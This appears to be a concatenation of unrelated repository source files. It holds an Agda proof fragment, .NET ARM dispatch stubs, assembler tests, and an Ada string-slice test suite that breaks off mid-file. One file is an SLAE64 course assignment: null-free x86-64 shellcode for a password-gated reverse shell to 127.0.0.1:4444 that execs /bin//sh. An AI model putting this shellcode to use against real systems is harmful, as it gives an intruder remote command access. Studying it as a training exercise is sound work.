→ NonInjective-≡ bId ⊎ kchainBlock (suc zero) (is-2chain (make-cand-3-chain c3 v)) ≡ kchainBlock (suc (suc zero)) c3
make-cand-3-chain-lemma {q = q} c3@(s-chain {suc (suc n)} {rc = rc} {b = b} ext₀@(Q←B h0 refl) _ ext₁@(B←Q h1 refl) c2) v
with (veBlock (Cand-3-chain-vote.votesForB (make-cand-3-chain c3 v))) ≟Block b
...| no neq = inj₁ ((veBlock (Cand-3-chain-vote.votesForB (make-cand-3-chain c3 v)) , b)
, neq
, trans (sym (veId (votesForB (make-cand-3-chain c3 v))))
(All-lookup (qVotes-C2 q) (∈QC-Vote-correct q v)))
...| yes b≡
with c2
...| (s-chain {q = q₀} _ _ _ (s-chain _ _ _ c)) rewrite b≡ = inj₂ refl
vdParent-prevRound-lemma
: ∀{α q}(rc : RecordChain (Q q))(va : α ∈QC q)
→ (vp : VoteParentData (∈QC-Vote q va))
→ NonInjective-≡ bId ⊎ (round (vpParent vp) ≡ prevRound rc)
vdParent-prevRound-lemma {q = q} (step {r = B b} (step rc y) x@(B←Q refl refl)) va vp
with b ≟Block (veBlock (vpExt vp))
...| no imp = inj₁ ( (b , veBlock (vpExt vp))
, (imp , id-B∨Q-inj (cong id-B∨Q (trans (sym (All-lookup (qVotes-C2 q) (∈QC-Vote-correct q va)))
(veId (vpExt vp))))))
...| yes refl
with ←-inj y (vpExt' vp)
...| bSameId'
with y | vpExt' vp
...| I←B y0 y1 | I←B e0 e1 = inj₂ refl
...| Q←B y0 refl | Q←B e0 refl
with vpMaybeBlock vp
...| vpParent≡Q {b = bP} bP←qP
with rc
...| step {r = B b'} rc' b←q
with b' ≟Block bP
...| no imp = inj₁ ((b' , bP) , imp , id-B∨Q-inj (lemmaS1-2 (eq-Q refl) b←q bP←qP))
...| yes refl
with bP←qP | b←q
...| B←Q refl refl | B←Q refl refl = inj₂ refl
-- Finally, we can prove the preferred round rule from the global version;
proof : Type → PreferredRoundRule InSys
proof glob-inv α hα {q} {q'} q∈sys q'∈sys c3 va rc' va' hyp
with ∈QC⇒HasBeenSent q∈sys hα va
| ∈QC⇒HasBeenSent q'∈sys hα va'
...| sent-cv | sent-cv'
with make-cand-3-chain c3 va | inspect
(make-cand-3-chain c3) va
...| cand | [ R ]
with glob-inv hα
(sym (∈QC-Member q va )) sent-cv
(sym (∈QC-Member q' va')) sent-cv'
cand hyp
...| va'Par , res
with vdParent-prevRound-lemma rc' va' va'Par
...| inj₁ hb = inj₁ hb
...| inj₂ final
with make-cand-3-chain-lemma c3 va
...| inj₁ hb = inj₁ hb
...| inj₂ xx = inj₂ (subst₂ _≤_
(cong bRound (trans (cong (kchainBlock (suc zero) ∘ is-2chain) (sym R)) xx))
final
res)
|
assignment-2/revshell.nasm
|
jasperla/slae64
| 0
|
178454
|
; SLAE64 assignment 2
; by <NAME>
; Student ID: SLAE64-1614
global _start
%define SYS_WRITE 1
%define SYS_DUP2 33
%define SYS_SOCKET 41
%define SYS_EXECVE 59
%define SYS_CONNECT 42
section .text
_start:
; Start by opening a socket(2)
; syscall:
; socket: 41 on Linux/x86_64
; arguments:
; %rdi: AF_INET = 2
; %rsi: SOCK_STREAM = 1
; %rdx: 0
; returns:
; %rax: socket file descriptor
mov al, SYS_SOCKET
mov dil, 0x2
mov sil, 0x1
xor rdx, rdx
syscall
; The connect(2) syscall expects the socket fd to be in %rdi, so
; copy it there already.
mov rdi, rax
; Setup server struct sockaddr_in on the stack (in reverse order).
; Now, we need to take care to prevent a null byte from sneaking in when
; saving AF_INET. So clear the full 16 bytes we need (double %rax push)
; and build the stack on top of the zeroed area.
;
; Struct members (in reverse order):
; sin_zero: 0
; sin_addr.s_addr: 127.0.0.1
; sin_port: 4444 (in network byteorder)
; sin_family: AF_INET = 2
xor rax, rax
push rax ; sin_zero
; Since 127.0.0.1 would be written as 0x0100007f contains two NULL bytes
; we need a different way of representing this address. In this case we
; XOR it with mask of ones before storing it on the stack.
mov r13d, 0x1011116e ; result of 0x0100007f ^ 0x11111111
xor r13d, 0x11111111
mov dword [rsp-4], r13d ; Finally push 0x0100007f onto the stack
mov word [rsp-6], 0x5c11
xor r13, r13 ; Clear %r13
mov r13b, 0x2 ; Write 0x2 to the lower 8 bits
mov word [rsp-8], r13w ; Move the lower 16 bits (including on NULL byte) to the stack
sub rsp, 8
; Invoke the connect(2) syscall to establish a connection to the configured
; remote (127.0.0.1) in this case.
; syscall:
; connect: 42 on Linux/x86_64
; arguments:
; %rdi: socket fd as returned by socket(2)
; %rsi: stack pointer (referencing struct sockaddr)
; %rdx: 16 (sizeof sockaddr)
; returns:
; %rax: 0 if succesful (ignored)
mov al, SYS_CONNECT
mov rsi, rsp
add rdx, 0x10
syscall
; Saves 8 bytes
; Now duplicate the required file descriptors for STDIN, STDOUT and STDERR with dup2(2).
; syscall:
; dup2: 3 on Linux/x86_64
; arguments:
; %rdi: socket fd
; %rsi: fd to duplicate
; returns:
; %rax: 0 if succesful (ignored)
xor rsi, rsi
xor rcx, rcx
mov cl, 0x2 ; upperlimit for our loop corresponding to STDERR (2)
; Now use a loop to increment the number in %rsi to match the file descriptor
; to operate on.
dup:
push rcx
xor rax, rax
mov al, SYS_DUP2
syscall
inc rsi
pop rcx
loop dup
; Since we don't get a shell prompt, we might as well print a password prompt.
; syscall:
; write: 0 on Linux/x86_64
; arguments:
; %rdi: socket fd with the connecting client
; %rsi: pointer to a string on the stack
; %rdx: number of bytes to write
xor rax, rax
add al, SYS_WRITE
xor rsi, rsi
push rsi ; push terminating NULL to the stack
mov rsi, 0x203a64726f777373
push rsi
mov rsi, 0x6170207265746e65
push rsi
mov rsi, rsp ; load address to our prompt ('enter password:') into %rsi
xor rdx, rdx
mov dl, 16 ; size of our prompt
syscall
; The password is '<PASSWORD>!!'
mov rbx, 0x<PASSWORD>
; Read the password provided on the socket fd with read(2)
; syscall:
; read: 0 on Linux/x86_64
; arguments:
; %rdi: saved socket fd
; %rsi: buffer (on the stack) to read data into
; %rdx: number of bytes to read
xor rax, rax
sub rsp, 8 ; allocate 8 bytes of storage on the stack
mov rsi, rsp
mov rdx, rax
add rdx, 8
syscall
cmp rbx, [rsi] ; now perform a raw compare of the buffer pointed to by %rsi
jnz fail ; if the comparison didn't result in ZF being set, abort.
; Now we need to setup the stack for the execve(2) syscall and call it to
; execute our shell.
; syscall:
; execve: 59 on Linux/x86_64
; arguments:
; %rdi: pointer address of our /bin//sh string on the stack
; %rsi: idem
; %rdx: NULL
; returns:
; does not return here we terminate afterwards
push r15 ; \0 to terminate our /bin//sh string
; Now push the string /bin//sh (in reverse) onto the stack
mov rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp ; address to the string
push r15 ; NULL for %RDX
mov rdx, rsp ; point to the NULL
push rdi ; Put the address in %RDI on the stack
mov rsi, rsp ; and put it in %RSI whilst having %RSP adjusted
mov rax, r15 ; setup %RAX for execve() and off we go!
add al, SYS_EXECVE
syscall
fail:
xor rax, rax
mov rdi, rax
mov al, 60
mov dil, 1
syscall
|
test/link/uninit5/module2.asm
|
nigelperks/BasicAssembler
| 0
|
21251
|
<reponame>nigelperks/BasicAssembler
IDEAL
SEGMENT CODE2
ASSUME CS:GROUP2
subroutine:
mov ax, 4
mov si, OFFSET data2
ret
ENDS CODE2
SEGMENT UDATA2 UNINIT
data2 DD ?
ENDS UDATA2
GROUP GROUP2 CODE2,UDATA2
END
|
lang/italian/ptab.asm
|
olifink/smsqe
| 0
|
85730
|
; Text for printer aborted
section language
xdef met_ptab
met_ptab dc.b 0,23,'******* TERMINATO *******'
end
|
src/coreclr/nativeaot/Runtime/arm/StubDispatch.asm
|
Miizukii/runtimelab
| 0
|
164764
|
;; Licensed to the .NET Foundation under one or more agreements.
;; The .NET Foundation licenses this file to you under the MIT license.
#include "AsmMacros.h"
TEXTAREA
#ifdef FEATURE_CACHED_INTERFACE_DISPATCH
EXTERN RhpCidResolve
EXTERN RhpUniversalTransition_DebugStepTailCall
;; Macro that generates code to check a single cache entry.
MACRO
CHECK_CACHE_ENTRY $entry
;; Check a single entry in the cache.
;; R1 : Instance EEType*
;; R2: Cache data structure
;; R12 : Trashed. On succesful check, set to the target address to jump to.
ldr r12, [r2, #(OFFSETOF__InterfaceDispatchCache__m_rgEntries + ($entry * 8))]
cmp r1, r12
bne %ft0
ldr r12, [r2, #(OFFSETOF__InterfaceDispatchCache__m_rgEntries + ($entry * 8) + 4)]
b %fa99
0
MEND
;; Macro that generates a stub consuming a cache with the given number of entries.
GBLS StubName
MACRO
DEFINE_INTERFACE_DISPATCH_STUB $entries
StubName SETS "RhpInterfaceDispatch$entries"
NESTED_ENTRY $StubName
;; On input we have the indirection cell data structure in r12. But we need more scratch registers and
;; we may A/V on a null this. Both of these suggest we need a real prolog and epilog.
PROLOG_PUSH {r1-r2}
;; r12 currently holds the indirection cell address. We need to get the cache structure instead.
ldr r2, [r12, #OFFSETOF__InterfaceDispatchCell__m_pCache]
;; Load the EEType from the object instance in r0.
ldr r1, [r0]
GBLA CurrentEntry
CurrentEntry SETA 0
WHILE CurrentEntry < $entries
CHECK_CACHE_ENTRY CurrentEntry
CurrentEntry SETA CurrentEntry + 1
WEND
;; Point r12 to the indirection cell using the back pointer in the cache block
ldr r12, [r2, #OFFSETOF__InterfaceDispatchCache__m_pCell]
EPILOG_POP {r1-r2}
EPILOG_BRANCH RhpInterfaceDispatchSlow
;; Common epilog for cache hits. Have to out of line it here due to limitation on the number of
;; epilogs imposed by the unwind code macros.
99
;; R2 contains address of the cache block. We store it in the red zone in case the target we jump
;; to needs it.
;; R12 contains the target address to jump to
EPILOG_POP r1
;; The red zone is only 8 bytes long, so we have to store r2 into it between the pops.
EPILOG_NOP str r2, [sp, #-4]
EPILOG_POP r2
EPILOG_BRANCH_REG r12
NESTED_END $StubName
MEND
;; Define all the stub routines we currently need.
DEFINE_INTERFACE_DISPATCH_STUB 1
DEFINE_INTERFACE_DISPATCH_STUB 2
DEFINE_INTERFACE_DISPATCH_STUB 4
DEFINE_INTERFACE_DISPATCH_STUB 8
DEFINE_INTERFACE_DISPATCH_STUB 16
DEFINE_INTERFACE_DISPATCH_STUB 32
DEFINE_INTERFACE_DISPATCH_STUB 64
;; Initial dispatch on an interface when we don't have a cache yet.
LEAF_ENTRY RhpInitialInterfaceDispatch
;; The stub that jumped here pushed r12, which contains the interface dispatch cell
;; we need to pop it here
pop { r12 }
;; Simply tail call the slow dispatch helper.
b RhpInterfaceDispatchSlow
LEAF_END RhpInitialInterfaceDispatch
LEAF_ENTRY RhpVTableOffsetDispatch
;; On input we have the indirection cell data structure in r12. But we need more scratch registers and
;; we may A/V on a null this. Both of these suggest we need a real prolog and epilog.
PROLOG_PUSH {r1}
;; r12 currently holds the indirection cell address. We need to update it to point to the vtable
;; offset instead.
ldr r12, [r12, #OFFSETOF__InterfaceDispatchCell__m_pCache]
;; Load the EEType from the object instance in r0.
ldr r1, [r0]
;; add the vtable offset to the EEType pointer
add r12, r1, r12
;; Load the target address of the vtable into r12
ldr r12, [r12]
EPILOG_POP {r1}
EPILOG_BRANCH_REG r12
LEAF_END RhpVTableOffsetDispatch
;; Cache miss case, call the runtime to resolve the target and update the cache.
LEAF_ENTRY RhpInterfaceDispatchSlow
ALTERNATE_ENTRY RhpInitialDynamicInterfaceDispatch
;; r12 has the interface dispatch cell address in it.
;; The calling convention of the universal thunk is that the parameter
;; for the universal thunk target is to be placed in sp-8
;; and the universal thunk target address is to be placed in sp-4
str r12, [sp, #-8]
ldr r12, =RhpCidResolve
str r12, [sp, #-4]
;; jump to universal transition thunk
b RhpUniversalTransition_DebugStepTailCall
LEAF_END RhpInterfaceDispatchSlow
#endif // FEATURE_CACHED_INTERFACE_DISPATCH
end
|
tests/natools-string_slice_tests.adb
|
faelys/natools
| 0
|
5592
|
<filename>tests/natools-string_slice_tests.adb
------------------------------------------------------------------------------
-- Copyright (c) 2013-2017, <NAME> --
-- --
-- Permission to use, copy, modify, and distribute this software for any --
-- purpose with or without fee is hereby granted, provided that the above --
-- copyright notice and this permission notice appear in all copies. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES --
-- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF --
-- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR --
-- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES --
-- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN --
-- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF --
-- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. --
------------------------------------------------------------------------------
with Ada.Exceptions;
with Natools.String_Slices;
package body Natools.String_Slice_Tests is
Parent_String : constant String (11 .. 54)
:= "The quick brown fox jumps over the lazy dog.";
procedure No_Fail
(Report : in out NT.Reporter'Class;
Name : in String;
Slice : in String_Slices.Slice);
-- Report lack-of-exception test failure and dump Slice
------------------------------
-- Local helper subprograms --
------------------------------
procedure No_Fail
(Report : in out NT.Reporter'Class;
Name : in String;
Slice : in String_Slices.Slice) is
begin
Report.Item (Name, NT.Fail);
Report.Info ("No exception has been raised.");
Report.Info ("Final value: "
& String_Slices.Image (Slice.Get_Range)
& " """ & Slice.To_String & '"');
end No_Fail;
----------------------
-- Test collections --
----------------------
procedure All_Tests (Report : in out NT.Reporter'Class) is
begin
Report.Section ("String_Range tests");
Range_Tests (Report);
Report.End_Section;
Slice_Tests (Report);
end All_Tests;
procedure Range_Tests (Report : in out NT.Reporter'Class) is
begin
Test_Is_In (Report);
Test_Is_Subrange (Report);
Test_Range_Image (Report);
Test_Set_Length (Report);
end Range_Tests;
procedure Slice_Tests (Report : in out NT.Reporter'Class) is
begin
Test_Slice_Relations (Report);
Test_Invalid_Subslices (Report);
Test_Conversions (Report);
Test_Extensions (Report);
Test_Incoming_Range (Report);
Test_Invalid_Extensions (Report);
Test_Null_Slice (Report);
Test_Outgoing_Range (Report);
Test_Subslices (Report);
Test_New_Slice (Report);
end Slice_Tests;
----------------------
-- Individual tests --
----------------------
procedure Test_Conversions (Report : in out NT.Reporter'Class) is
Name : constant String := "Functions To_Slice, To_String and Export";
begin
declare
S : constant String_Slices.Slice := String_Slices.To_Slice (Name);
Str : constant String := String_Slices.To_String (S);
Exported : String (101 .. 100 + Name'Length);
begin
S.Export (Exported);
if Str /= Name or Exported /= Name then
Report.Item (Name, NT.Fail);
Report.Info ('"' & Str & """ instead of """ & Name & '"');
else
Report.Item (Name, NT.Success);
end if;
end;
exception
when Error : others => Report.Report_Exception (Name, Error);
end Test_Conversions;
procedure Test_Extensions (Report : in out NT.Reporter'Class) is
Name : constant String := "Slice extensions";
begin
declare
use type String_Slices.Slice;
Parent : constant String_Slices.Slice
:= String_Slices.To_Slice (Parent_String);
Extended : constant String_Slices.Slice
:= Parent.Subslice (String_Slices.To_Range (33, 50));
Small : String_Slices.Slice := Parent.Subslice (20, 50);
begin
if Small.Parent /= Parent then
Report.Item (Name, NT.Fail);
Report.Info ("Small.Parent /= Parent");
return;
end if;
if Small.Extend (Extended.Get_Range) /= Extended then
Report.Item (Name, NT.Fail);
Report.Info ("Small.Extend /= Extended");
return;
end if;
Small.Extend (Extended.First, Extended.Last);
if Small /= Extended then
Report.Item (Name, NT.Fail);
Report.Info ("Extended Small /= Extended");
return;
end if;
if String_Slices.Null_Slice.Parent /= String_Slices.Null_Slice then
Report.Item (Name, NT.Fail);
Report.Info ("Null_Slice.Parent /= Null_Slice");
return;
end if;
if String_Slices.Null_Slice.Duplicate /= String_Slices.Null_Slice then
Report.Item (Name, NT.Fail);
Report.Info ("Null_Slice.Duplicate /= Null_Slice");
return;
end if;
end;
Report.Item (Name, NT.Success);
exception
when Error : others => Report.Report_Exception (Name, Error);
end Test_Extensions;
procedure Test_Incoming_Range (Report : in out NT.Reporter'Class) is
Name : constant String := "Range conservation through To_Slice";
begin
declare
use type String_Slices.String_Range;
Biased_String : constant String (11 .. 16) := "qwerty";
S : constant String_Slices.Slice
:= String_Slices.To_Slice (Biased_String);
begin
if S.Get_Range /= String_Slices.Get_Range (Biased_String) then
Report.Item (Name, NT.Fail);
Report.Info ("String range: "
& String_Slices.Image (String_Slices.Get_Range (Biased_String)));
Report.Info ("Slice range: "
& String_Slices.Image (S.Get_Range));
else
Report.Item (Name, NT.Success);
end if;
end;
exception
when Error : others => Report.Report_Exception (Name, Error);
end Test_Incoming_Range;
procedure Test_Invalid_Extensions (Report : in out NT.Reporter'Class) is
Name : constant String := "Invalid extensions";
begin
declare
Parent : constant String_Slices.Slice
:= String_Slices.To_Slice (Parent_String);
Small : String_Slices.Slice
:= Parent.Subslice (String_Slices.To_Range (30, 50));
begin
declare
Extended : String_Slices.Slice;
begin
Extended := Small.Extend (1, 10);
No_Fail (Report, Name, Extended);
return;
exception
when Constraint_Error => null;
when Error : others =>
Report.Item (Name, NT.Fail);
Report.Info ("Wrong exception "
& Ada.Exceptions.Exception_Name (Error)
& "has been raised.");
return;
end;
begin
Small.Extend (100, 150);
No_Fail (Report, Name, Small);
return;
exception
when Constraint_Error => null;
when Error : others =>
Report.Item (Name, NT.Fail);
Report.Info ("Wrong exception "
& Ada.Exceptions.Exception_Name (Error)
& "has been raised.");
return;
end;
end;
Report.Item (Name, NT.Success);
exception
when Error : others => Report.Report_Exception (Name, Error);
end Test_Invalid_Extensions;
procedure Test_Invalid_Subslices (Report : in out NT.Reporter'Class) is
Parent : constant String_Slices.Slice
:= String_Slices.To_Slice (Parent_String);
Template : constant String_Slices.Slice := Parent.Subslice (22, 40);
Slice : String_Slices.Slice;
begin
Report.Section ("Invalid subslices");
declare
Name : constant String := "Subslice too large";
begin
Slice := Template.Subslice (String_Slices.To_Range (32, 45));
No_Fail (Report, Name, Slice);
exception
when Constraint_Error => Report.Item (Name, NT.Success);
when Error : others =>
Report.Item (Name, NT.Fail);
Report.Info ("Wrong exception "
& Ada.Exceptions.Exception_Name (Error)
& "has been raised.");
end;
declare
Name : constant String := "Subslice of null slice";
begin
Slice := String_Slices.Null_Slice.Subslice (32, 45);
No_Fail (Report, Name, Slice);
exception
when Constraint_Error => Report.Item (Name, NT.Success);
when Error : others =>
Report.Item (Name, NT.Fail);
Report.Info ("Wrong exception "
& Ada.Exceptions.Exception_Name (Error)
& "has been raised.");
end;
declare
Name : constant String := "Restrict too large";
begin
Slice := Template;
Slice.Restrict (String_Slices.To_Range (15, 30));
No_Fail (Report, Name, Slice);
exception
when Constraint_Error => Report.Item (Name, NT.Success);
when Error : others =>
Report.Item (Name, NT.Fail);
Report.Info ("Wrong exception "
& Ada.Exceptions.Exception_Name (Error)
& "has been raised.");
end;
declare
Name : constant String := "Restrict of null slice";
Default_Slice : String_Slices.Slice;
begin
Default_Slice.Restrict (15, 30);
No_Fail (Report, Name, Default_Slice);
exception
when Constraint_Error => Report.Item (Name, NT.Success);
when Error : others =>
Report.Item (Name, NT.Fail);
Report.Info ("Wrong exception "
& Ada.Exceptions.Exception_Name (Error)
& "has been raised.");
end;
declare
Name : constant String := "Set_First too small";
begin
Slice := Template;
Slice.Set_First (15);
No_Fail (Report, Name, Slice);
exception
when Constraint_Error => Report.Item (Name, NT.Success);
when Error : others =>
Report.Item (Name, NT.Fail);
Report.Info ("Wrong exception "
& Ada.Exceptions.Exception_Name (Error)
& "has been raised.");
end;
declare
Name : constant String := "Set_Last too large";
begin
Slice := Template;
Slice.Set_Last (45);
No_Fail (Report, Name, Slice);
exception
when Constraint_Error => Report.Item (Name, NT.Success);
when Error : others =>
Report.Item (Name, NT.Fail);
Report.Info ("Wrong exception "
& Ada.Exceptions.Exception_Name (Error)
& "has been raised.");
end;
declare
Name : constant String := "Set_Length too large";
begin
Slice := Template;
Slice.Set_Length (Template.Length + 5);
No_Fail (Report, Name, Slice);
exception
when Constraint_Error => Report.Item (Name, NT.Success);
when Error : others =>
Report.Item (Name, NT.Fail);
Report.Info ("Wrong exception "
& Ada.Exceptions.Exception_Name (Error)
& "has been raised.");
end;
declare
Name : constant String := "Extend beyond parent";
begin
Slice := Template;
Slice.Extend (String_Slices.To_Range (1, 50));
No_Fail (Report, Name, Slice);
exception
when Constraint_Error => Report.Item (Name, NT.Success);
when Error : others =>
Report.Item (Name, NT.Fail);
Report.Info ("Wrong exception "
& Ada.Exceptions.Exception_Name (Error)
& "has been raised.");
end;
Report.End_Section;
end Test_Invalid_Subslices;
procedure Test_Is_In (Report : in out NT.Reporter'Class) is
Name : constant String := "Function Is_In";
begin
declare
Interval : constant String_Slices.String_Range := (3, 5);
Before : constant Boolean := String_Slices.Is_In (2, Interval);
First : constant Boolean := String_Slices.Is_In (3, Interval);
Inside : constant Boolean := String_Slices.Is_In (5, Interval);
Last : constant Boolean := String_Slices.Is_In (7, Interval);
After : constant Boolean := String_Slices.Is_In (8, Interval);
begin
Report.Item (Name, NT.To_Result
((not Before) and First and Inside and Last and (not After)));
if Before then
Report.Info ("2 in [3, 7]");
end if;
if not First then
Report.Info ("3 not in [3, 7]");
end if;
if not Inside then
Report.Info ("5 not in [3, 7]");
end if;
if not Last then
Report.Info ("7 not in [3, 7]");
end if;
if After then
Report.Info ("8 in [3, 7]");
end if;
end;
exception
when Error : others => Report.Report_Exception (Name, Error);
end Test_Is_In;
procedure Test_Is_Subrange (Report : in out NT.Reporter'Class) is
procedure Check
(Left, Right : in String_Slices.String_Range;
Expected : in Boolean);
Name : constant String := "Function Is_Subrange";
Result : Boolean := True;
procedure Check
(Left, Right : in String_Slices.String_Range;
Expected : in Boolean) is
begin
if String_Slices.Is_Subrange (Left, Right) /= Expected then
if Result then
Report.Item (Name, NT.Fail);
end if;
Report.Info ("Is_Subrange ("
& String_Slices.Image (Left)
& ", "
& String_Slices.Image (Right)
& ") should return "
& Boolean'Image (Expected));
Result := False;
end if;
end Check;
begin
Check ((3, 5), (1, 2), False);
Check ((3, 5), (1, 3), False);
Check ((3, 5), (1, 5), False);
Check ((3, 5), (1, 7), True);
Check ((3, 5), (1, 9), True);
Check ((3, 5), (3, 1), False);
Check ((3, 5), (3, 3), False);
Check ((3, 5), (3, 5), True);
Check ((3, 5), (3, 7), True);
Check ((3, 5), (5, 2), False);
Check ((3, 5), (5, 3), False);
Check ((3, 5), (5, 5), False);
Check ((3, 5), (7, 1), False);
Check ((3, 5), (7, 3), False);
Check ((3, 5), (9, 3), False);
Check ((3, 1), (1, 2), False);
Check ((3, 1), (1, 3), True);
Check ((3, 1), (1, 5), True);
Check ((3, 1), (3, 1), True);
Check ((3, 1), (3, 3), True);
Check ((3, 1), (5, 3), False);
if Result then
Report.Item (Name, NT.Success);
end if;
exception
when Error : others => Report.Report_Exception (Name, Error);
end Test_Is_Subrange;
procedure Test_New_Slice (Report : in out NT.Reporter'Class) is
Name : constant String := "Callback-based constructor";
First : constant Positive := 42;
Last : constant Natural := First + Name'Length - 1;
Result : Boolean := True;
procedure Initialize (S : out String);
procedure Initialize (S : out String) is
begin
S := Name;
end Initialize;
begin
declare
Slice : constant String_Slices.Slice
:= String_Slices.New_Slice (First, Last, Initialize'Access);
begin
if Slice.First /= First then
if Result then
Report.Item (Name, NT.Fail);
end if;
Report.Info ("Incorrect value"
& Integer'Image (Slice.First) & " for Slice.First, expected"
& Integer'Image (First));
Result := False;
end if;
if Slice.Last /= Last then
if Result then
Report.Item (Name, NT.Fail);
end if;
Report.Info ("Incorrect value"
& Integer'Image (Slice.Last) & " for Slice.Last, expected"
& Integer'Image (Last));
Result := False;
end if;
if Slice.Length /= Name'Length then
if Result then
Report.Item (Name, NT.Fail);
end if;
Report.Info ("Incorrect value"
& Integer'Image (Slice.Length) & " for Slice.Length, expected"
& Integer'Image (Name'Length));
Result := False;
end if;
if Slice.To_String /= Name then
if Result then
Report.Item (Name, NT.Fail);
end if;
Report.Info ("Incorrect string """
& Integer'Image (Slice.Length) & """ in Slice, expected """
& Name & '"');
Result := False;
end if;
end;
if Result then
Report.Item (Name, NT.Success);
end if;
exception
when Error : others => Report.Report_Exception (Name, Error);
end Test_New_Slice;
procedure Test_Null_Slice (Report : in out NT.Reporter'Class) is
procedure Check_Null (S : in String);
Name : constant String := "Null slice to empty string";
Result : Boolean := True;
procedure Check_Null (S : in String) is
begin
if S /= "" then
if Result then
Report.Item (Name, NT.Fail);
Result := False;
end if;
Report.Info ("Empty string expected, got """ & S & '"');
end if;
end Check_Null;
begin
declare
Default_Slice : String_Slices.Slice;
begin
String_Slices.Null_Slice.Query (Check_Null'Access);
Default_Slice.Query (Check_Null'Access);
Check_Null (String_Slices.Null_Slice.To_String);
Check_Null (Default_Slice.To_String);
end;
if Result then
Report.Item (Name, NT.Success);
end if;
exception
when Error : others => Report.Report_Exception (Name, Error);
end Test_Null_Slice;
procedure Test_Outgoing_Range (Report : in out NT.Reporter'Class) is
use type String_Slices.String_Range;
procedure Check_Range (S : in String);
Name : constant String
:= "Range conservation through To_String and Query";
Ref_Range : constant String_Slices.String_Range := (10, 21);
Result : Boolean := True;
procedure Check_Range (S : in String) is
begin
if String_Slices.Get_Range (S) /= Ref_Range then
Report.Item (Name, NT.Fail);
Report.Info ("Queried string range: "
& String_Slices.Image (String_Slices.Get_Range (S))
& ", expected "
& String_Slices.Image (Ref_Range));
Result := False;
end if;
end Check_Range;
begin
declare
Slice : String_Slices.Slice := String_Slices.To_Slice (Name);
begin
Slice.Restrict (Ref_Range);
Slice.Query (Check_Range'Access);
if Result then
if String_Slices.Get_Range (Slice.To_String) /= Ref_Range then
Report.Item (Name, NT.Fail);
Report.Info ("To_String range: "
& String_Slices.Image
(String_Slices.Get_Range (Slice.To_String))
& ", expected "
& String_Slices.Image (Ref_Range));
else
Report.Item (Name, NT.Success);
end if;
end if;
end;
exception
when Error : others => Report.Report_Exception (Name, Error);
end Test_Outgoing_Range;
procedure Test_Range_Image (Report : in out NT.Reporter'Class) is
procedure Check_String (Result, Reference : in String);
Name : constant String := "Image of String_Range";
Success : Boolean := True;
procedure Check_String (Result, Reference : in String) is
begin
if Result /= Reference then
if Success then
Report.Item (Name, NT.Fail);
Success := False;
end if;
Report.Info
("Result """ & Result & """, expected """ & Reference & '"');
end if;
end Check_String;
begin
declare
Range1 : constant String_Slices.String_Range := (10, 0);
Range2 : constant String_Slices.String_Range := (16, 5);
Range3 : constant String_Slices.String_Range := (5, 1);
begin
Check_String (String_Slices.Image (Range1), "empty at 10");
Check_String (String_Slices.Image (Range2), "[16, 20]");
Check_String (String_Slices.Image (Range3), "[5]");
end;
if Success then
Report.Item (Name, NT.Success);
end if;
exception
when Error : others => Report.Report_Exception (Name, Error);
end Test_Range_Image;
procedure Test_Set_Length (Report : in out NT.Reporter'Class) is
Name : constant String := "Procedure Set_Length";
begin
declare
R : String_Slices.String_Range := (10, 10);
begin
String_Slices.Set_Length (R, 20);
if R.Length /= 20 then
Report.Item (Name, NT.Fail);
Report.Info ("Unexpected length" & Integer'Image (R.Length));
else
Report.Item (Name, NT.Success);
end if;
end;
exception
when Error : others => Report.Report_Exception (Name, Error);
end Test_Set_Length;
procedure Test_Slice_Relations (Report : in out NT.Reporter'Class) is
Section_Name : constant String := "Slice relations";
begin
declare
Parent : constant String_Slices.Slice
:= String_Slices.To_Slice (Parent_String);
Beginning : constant String_Slices.Slice
:= String_Slices.Subslice (Parent, String_Slices.To_Range (11, 30));
Empty : constant String_Slices.Slice
:= String_Slices.Subslice (Parent, String_Slices.To_Range (25, 0));
Ending : constant String_Slices.Slice
:= String_Slices.Subslice (Parent, 30, Parent.Last);
First_Word : String_Slices.Slice;
Dupe : constant String_Slices.Slice
:= String_Slices.Duplicate (Beginning);
begin
First_Word := Beginning;
First_Word.Restrict (11, 13);
Report.Section (Section_Name);
declare
Name : constant String := "Is_Subslice (Beginning, Parent)";
begin
Report.Item (Name, NT.To_Result
(String_Slices.Is_Subslice (Beginning, Parent)));
exception
when Error : others => Report.Report_Exception (Name, Error);
end;
declare
Name : constant String := "Is_Subslice (First_Word, Beginning)";
begin
Report.Item (Name, NT.To_Result
(String_Slices.Is_Subslice (First_Word, Beginning)));
exception
when Error : others => Report.Report_Exception (Name, Error);
end;
declare
Name : constant String := "Is_Subslice (First_Word, Parent)";
begin
Report.Item (Name, NT.To_Result
(String_Slices.Is_Subslice (First_Word, Parent)));
exception
when Error : others => Report.Report_Exception (Name, Error);
end;
declare
Name : constant String := "not Is_Subslice (Beginning, Ending)";
begin
Report.Item (Name, NT.To_Result
(not String_Slices.Is_Subslice (Beginning, Ending)));
exception
when Error : others => Report.Report_Exception (Name, Error);
end;
declare
Name : constant String := "Is_Related (Beginning, Ending)";
begin
Report.Item (Name, NT.To_Result
(String_Slices.Is_Related (Beginning, Ending)));
exception
when Error : others => Report.Report_Exception (Name, Error);
end;
declare
Name : constant String := "not Is_Related (Beginning, Dupe)";
begin
Report.Item (Name, NT.To_Result
(not String_Slices.Is_Related (Beginning, Dupe)));
exception
when Error : others => Report.Report_Exception (Name, Error);
end;
declare
Name : constant String := "Is_Empty (Empty)";
begin
Report.Item (Name, NT.To_Result (String_Slices.Is_Empty (Empty)));
exception
when Error : others => Report.Report_Exception (Name, Error);
end;
declare
Name : constant String := "not Is_Null (Empty)";
begin
Report.Item (Name, NT.To_Result
(not String_Slices.Is_Null (Empty)));
exception
when Error : others => Report.Report_Exception (Name, Error);
end;
Report.End_Section;
end;
exception
when Error : others => Report.Report_Exception (Section_Name, Error);
end Test_Slice_Relations;
procedure Test_Subslices (Report : in out NT.Reporter'Class) is
procedure Report_Fail;
procedure Check_Range
(Slice : in String_Slices.Slice;
